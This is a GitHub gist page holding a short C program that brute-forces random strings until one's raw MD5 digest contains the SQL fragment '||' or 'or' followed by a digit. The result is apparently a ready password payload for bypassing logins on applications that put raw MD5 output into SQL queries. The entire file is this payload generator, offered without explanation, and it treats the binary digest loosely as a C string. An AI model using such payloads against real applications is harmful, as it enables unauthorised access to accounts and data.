Skip to content

Instantly share code, notes, and snippets.

@cvonkleist
Created September 9, 2010 04:59
Show Gist options
  • Save cvonkleist/571397 to your computer and use it in GitHub Desktop.
Save cvonkleist/571397 to your computer and use it in GitHub Desktop.
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <unistd.h>
#include <openssl/evp.h>
static void calculate_md5_of(const void *content, ssize_t len){
// print_as_hex
}
int main(void) {
const char *file_name = "t1.txt";
struct stat stat_buf;
int i_rval = 0;
int in_fd = -1;
off_t size_of_file;
ssize_t read_bytes;
int r,r1,r2,r3;
char rbuf[100];
EVP_MD_CTX mdctx;
unsigned char md_value[EVP_MAX_MD_SIZE];
unsigned int md_len;
char *sub;
srand(time(0));
int i = 0;
while(1) {
i += 1;
if(i % 100000 == 0) {
printf("i = %d\n", i);
}
r = rand();
r1 = rand();
r2 = rand();
r3 = rand();
sprintf(rbuf, "%d%d%d%d", r, r1, r2, r3);
EVP_DigestInit(&mdctx, EVP_md5());
EVP_DigestUpdate(&mdctx, rbuf, (size_t) strlen(rbuf));
EVP_DigestFinal_ex(&mdctx, md_value, &md_len);
EVP_MD_CTX_cleanup(&mdctx);
sub = strstr(md_value, "'||'");
if(sub == NULL) sub = strcasestr(md_value, "'or'");
if(sub != NULL && sub[4] > '0' && sub[4] <= '9') {
//if(strstr(md_value, "'") == md_value) {
printf("content=>>>%s<<<\n", (char *)rbuf);
printf("i = %d\n", i);
for(i = 0; i < md_len; i++) {
printf("%02x", md_value[i]);
}
printf("\n");
printf(">>>%s<<<\n", md_value);
exit(0);
}
//calculate_md5_of(rbuf, strlen(rbuf));
}
return 0;
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment